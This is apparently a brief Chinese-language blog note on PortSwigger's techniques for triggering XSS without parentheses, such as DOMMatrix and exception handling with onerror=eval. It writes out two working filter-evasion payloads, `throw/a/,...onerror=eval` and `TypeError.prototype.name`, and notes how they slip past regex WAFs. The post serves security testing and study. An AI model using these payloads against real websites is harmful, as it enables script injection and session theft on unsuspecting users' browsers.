0%

PortSwigger的无括号xss绕过整合

通过DOMMatrix

就在刚刚portswigger发了一篇无括号xss实现的文,大概意思是通过DOMMatrix去实现,不懂这个东西是干啥用的,但是仔细研究了一下他的payload

大概意思就是如果只alert一个数字出来的话,代码长这样

upload successful

问题是,这段简短的代码甚至没办法alert(document.cookie),他的x.a不能是string类型,如果只是单纯的证明xss存在是足够了

upload successful

所以PortSwigger的研究人员研究后整了一个完全体

upload successful

大概意思就是一个字符一个字符的拼,感觉会有点长,如果是挖洞的话可以使用前面的那个实现,如果是实际利用的话可能用处不大。

通过异常处理实现

研究者的心路历程我就不翻译了,最终payload如下

1
<script>throw/a/,Uncaught=1,g=alert,a=URL+0,onerror=eval,/1/g+a[12]+[1337]+a[13]</script>

然后不通过throw的处理如下

1
<script>TypeError.prototype.name ='=/',0[onerror=eval]['/-alert(1)//']</script>

这个payload的局限是要用到onerror, onerror是正则waf的高频黑名单,括号都ban的严格程度的话onerror没理由不ban。

总结

做个记录万一以后遇到了呢。感觉这思路还是好屌啊。

最后分享一个xss绕过查询,太鸡儿方便了

https://portswigger.net/web-security/cross-site-scripting/cheat-sheet